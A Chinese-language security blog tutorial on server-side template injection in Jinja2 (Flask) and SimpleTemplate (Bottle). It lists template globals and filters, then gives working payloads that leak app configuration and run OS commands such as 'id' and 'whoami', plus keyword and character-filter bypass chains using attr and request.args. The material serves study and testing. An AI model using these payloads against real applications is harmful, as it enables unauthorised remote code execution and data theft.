Jinja2与SimpleTemplate引擎下的SSTI

Web 安全 发布于 2025-11-10 最后更新于 22 天前


SSTI(Server-Side Template Injection,服务器端模板注入)是一种常见的 Web 安全漏洞,通常出现在使用模板引擎渲染动态内容的 Web 应用中。

在许多 Web 框架中,模板引擎用于将数据动态插入到 HTML 页面中,通常是通过在模板中插入变量或表达式来生成页面内容。如果这里的表达式可控,攻击者向其中注入恶意表达式就有可能实现任意代码执行。

Jinja2

Jinja2 常用于 Python_Flask 框架。

Jinja2 的语法与 Python 相似,类似于一个 Python 的安全子集。虽然 Jinja2 不允许直接执行 Python 语句,但能够实现 python 中的动态访问。

环境

flask jinja2 环境中有一些内置的全局对象(包括 jinja2 内置和 flask 自动注入对象),比如

Python
config
url_for
request
 ​
# function
get_flashed_messages
lipsum
Python

可以通过 config 对象获取程序的配置字典:

Python
{{config}}
Python

除此之外,这里的一些对象可以用于获取 app 对象:

Python
{{url_for.__globals__['current_app']}}
 ​
# <Flask 'app'>
Python

然后就能访问 app 对象获取一些敏感信息,例如获取当前项目的根目录:

Python
{{url_for.__globals__['current_app'].root_path}}
 ​
# /app
Python

全局字典

Python
# Jinja2 内置对象
'range': <class 'range'>, 
'dict': <class 'dict'>, 
'lipsum': <function generate_lorem_ipsum at 0x7549d5ae6440>, 
'cycler': <class 'jinja2.utils.Cycler'>, 
'joiner': <class 'jinja2.utils.Joiner'>, 
'namespace': <class 'jinja2.utils.Namespace'>, 
 ​
# flask 注入对象
'url_for': <bound method Flask.url_for of <Flask 'test'>>, 
'get_flashed_messages': <function get_flashed_messages at 0x7549d5a76c20>, 
'config': <Config {}>, 
'request': <Request 'http://127.0.0.1:5000/' [GET]>, 
'session': <NullSession {}>, 
'g': <flask.g of 'test'>
Python

内置过滤器

Python
'abs': <built-in function abs>, 
'attr': <function do_attr at 0x7e1999fa0c10>, 
'batch': <function do_batch at 0x7e1999f8fb50>, 
'capitalize': <function do_capitalize at 0x7e1999f8e5f0>, 
'center': <function do_center at 0x7e1999f8ee60>, 
'count': <built-in function len>, 
'd': <function do_default at 0x7e1999f8ed40>, 
'default': <function do_default at 0x7e1999f8ed40>, 
'dictsort': <function do_dictsort at 0x7e1999f8e710>, 
'e': <function escape at 0x7e199a75d900>, 
'escape': <function escape at 0x7e199a75d900>, 
'filesizeformat': <function do_filesizeformat at 0x7e1999f8f400>, 
'first': <function do_first at 0x7e1999f8f2e0>, 
'float': <function do_float at 0x7e1999f8f880>, 
'forceescape': <function do_forceescape at 0x7e1999f8e170>, 
'format': <function do_format at 0x7e1999f8f910>, 
'groupby': <function do_groupby at 0x7e1999fa05e0>, 
'indent': <function do_indent at 0x7e1999f8f5b0>, 
'int': <function do_int at 0x7e1999f8f7f0>, 
'join': <function do_join at 0x7e1999f8f010>, 
'last': <function do_last at 0x7e1999f8f130>, 
'length': <built-in function len>, 
'list': <function do_list at 0x7e1999fa0a60>, 
'lower': <function do_lower at 0x7e1999f8e440>, 
'items': <function do_items at 0x7e1999f8e4d0>, 
'map': <function do_map at 0x7e1999fa0ee0>, 
'min': <function do_min at 0x7e1999f8ec20>, 
'max': <function do_max at 0x7e1999f8ecb0>, 
'pprint': <function do_pprint at 0x7e1999f8f490>, 
'random': <function do_random at 0x7e1999f8f370>, 
'reject': <function do_reject at 0x7e1999fa1360>, 
'rejectattr': <function do_rejectattr at 0x7e1999fa17e0>, 
'replace': <function do_replace at 0x7e1999f8e320>, 
'reverse': <function do_reverse at 0x7e1999fa0b80>, 
'round': <function do_round at 0x7e1999f8fd90>, 
'safe': <function do_mark_safe at 0x7e1999fa08b0>, 
'select': <function do_select at 0x7e1999fa1120>, 
'selectattr': <function do_selectattr at 0x7e1999fa15a0>, 
'slice': <function do_slice at 0x7e1999f8fd00>, 
'sort': <function do_sort at 0x7e1999f8e830>, 
'string': <function soft_str at 0x7e199a75dd80>, 
'striptags': <function do_striptags at 0x7e1999f8fa30>, 
'sum': <function do_sum at 0x7e1999fa0820>, 
'title': <function do_title at 0x7e1999f8e680>, 
'trim': <function do_trim at 0x7e1999f8f9a0>, 
'truncate': <function do_truncate at 0x7e1999f8f640>, 
'unique': <function do_unique at 0x7e1999f8eb00>, 
'upper': <function do_upper at 0x7e1999f8e3b0>, 
'urlencode': <function do_urlencode at 0x7e1999f8e200>, 
'urlize': <function do_urlize at 0x7e1999f8f520>, 
'wordcount': <function do_wordcount at 0x7e1999f8f760>, 
'wordwrap': <function do_wordwrap at 0x7e1999f8f6d0>, 
'xmlattr': <function do_xmlattr at 0x7e1999f8e560>, 
'tojson': <function do_tojson at 0x7e1999fa1630>}
Python

语法

表达式执行

Python
{{code}}
Python

执行 python 表达式并输出。

Python
{%code%}
Python

执行控制结构和逻辑表达式,不输出。直接执行 Python 表达式可以用 {%print(code)%},同时实现输出。

Payload

对于 ssti 的过滤一般出在关键词和特殊字符的过滤上。

关键字过滤:想要绕过关键字,只要让关键字以字符串的形式被调用就很容易实现。因为字符串可以进行各种编码、拼接和过滤器处理。那么如何以字符串形式调用各种关键字呢,我们来看这些内置方法和过滤器:

常规 payload 中我们用 ''.__class__ 来调用一个对象的属性。事实上这里除了 . 之外有很多其他的调用方式,我们可以用 __getattribute__attr 过滤器来实现。getattribute 方法几乎是所有属性访问行为的底层实现,用 . 来访问属性事实上就调用了 getattribute。而 attr 过滤器是 jinja2 内置的访问属性的语法。

特殊符号过滤:解决了关键字的问题后,我们再来看对于特殊符号的过滤。

  • 如果过滤了 . 我们可以直接用 attr 过滤器实现访问对象属性,命令中的 . 可以直接编码绕过。需要注意的是,attr 过滤器后不能直接进行 . 的拼接,需要对整体加括号再用 . 语法。
  • 如果过滤了 '",我们可以用 request 旁路注入的方法绕过,但这里必须用到 .
  • 如果过滤了 [],对于字典的访问可以用 __getitem__getsetdefaultpop进行绕过。
Python
# 基础 payload
{{"".__class__.__base__.__subclasses__()[下标].__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}
 ​
# 循环语句获取下标
{% for c in "".__class__.__base__.__subclasses__() %}
  {% if c.__name__=='catch_warnings' %}
  {{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}
  {% endif %}
{% endfor %}
Python
Python
# 没过滤 '\"\()
{%print((((lipsum|attr("__glo"+"bals__"))|attr("get")("os"))|attr("po"+"pen")("id"))|attr("read")())%}
 ​
# 没过滤 .\()
{%print((((lipsum|attr(request.args.gl))|attr(request.args.g)(request.args.o))|attr(request.args.p)(request.args.c))|attr(request.args.r)())%}
get 传参:gl=__globals__&g=get&o=os&p=popen&r=read&c=id
 ​
{%for c in ()|attr(request.args.cl)|attr(request.args.ba)|attr(request.args.sub)()%}{%if c|attr(request.args.na)==request.args.nb%}{%print((c|attr(request.args.in)|attr(request.args.gl))[request.args.p](request.args.xq).read())%}{%endif%}{%endfor%}
get 传参:cl=__class__&ba=__base__&sub=__subclasses__&na=__name__&nb=_wrap_close&in=__init__&gl=__globals__&p=popen&r=read&xq=id
Python

SimpleTemplate

SimpleTemplate 是 Bottle 框架的默认模板引擎。Bottle是一个轻量级的单文件 Web 框架,非常适合用来快速搭建小型应用。除了默认使用的 SimpleTemplate 模板引擎,支持 Jinja2 等多种第三方引擎。

SimpleTemplate 和 Jinja2 不同的是,在 SimpleTemplate 中可以直接执行 python 语句。SimpleTemplate 中语句的执行环境和 python 解释器的环境非常相近。

语法

表达式执行

和 Jinja2 类似但有所不同的是 SimpleTemplate 可以通过嵌入 {{code}}<%code%>%code 来实现表达式的执行。

和 Jinja2 一样,用来执行 python 表达式并输出:

Python
{{code}}
Python

执行 python 代码但不会输出:

Python
<%code%>
Python

执行 python 代码但不会输出:

Python
%code
Python

值得一提的是,在 <%code%>%code 中 python 代码不需要注意缩进问题,但是 if 和 for 这样的语句需要用 end 结尾。

但是这两种用法需要注意一个问题,<%code%>%code 必须位于单独一行,想保证这个前提可以直接在输入前后加上 \n

abort函数

abort 在 Bottle 中是一个快捷函数,用来中止当前请求并返回一个 HTTP 错误响应。

Python
abort(status_code, body)
Python
  • status_code:返回的响应码
  • body(可选):返回的响应体,可以是 python 表达式。

payload

Python
{{__import__('bottle').abort(404,__import__('os').popen("id").read())}}
Python
Python
aaa
<%__import__('bottle').abort(404,__import__('os').popen("id").read())%>
aaa
Python
Python
aaa
%__import__('bottle').abort(404,__import__('os').popen("id").read())
aaa
Python